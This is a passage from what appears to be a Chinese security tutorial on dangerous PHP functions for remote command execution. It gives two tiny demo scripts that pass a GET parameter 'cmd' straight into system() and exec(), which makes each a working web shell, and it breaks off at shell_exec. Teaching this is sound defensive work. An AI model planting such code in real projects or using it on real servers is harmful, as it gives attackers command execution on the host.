目录
后台代码-PHP危险函数
RCE,(Remote Code\Command Execute)
1.OS命令执行函数
函数会调用系统命令,类似于 bash或者cmd,PHP会自动区分平台。
☺ 系统命令函数,调用的是服务器命令。
☺ PHP解释器会自动识别系统平台
☺ 如果参数可控,就相当于shell
☺ 在浏览器输入命令,在服务器端执行
☺ 通过Web方式传参调用系统命令,无法切换工作目录,非持久性链接,对比反弹shell.
☺ System()
System() 自带输出功能 ,将字符串作为OS命令执行。
例:php脚本验证
<meta charset='gb2312'> <?php if(isset($_GET['cmd'])){ echo "<pre>"; system($_GET['cmd']); }else{ echo" ?cmd=ipconfig "; } ?> |
验证结果:
注:在Web页面执行命令时,不能切换命令。
☺ exec()
exec 将字符串作为OS命令执行。
不支持命令中有空格
不带输出功能 ,需要利用print,
*输出不完整。
例:php脚本验证
<meta charset="gb2312"> <?php if(isset($_GET['cmd'])){ echo "<pre>"; print exec($_GET['cmd']); }else{ echo" ?cmd=whoami "; } ?> |
验证:
☺ Shell_exec</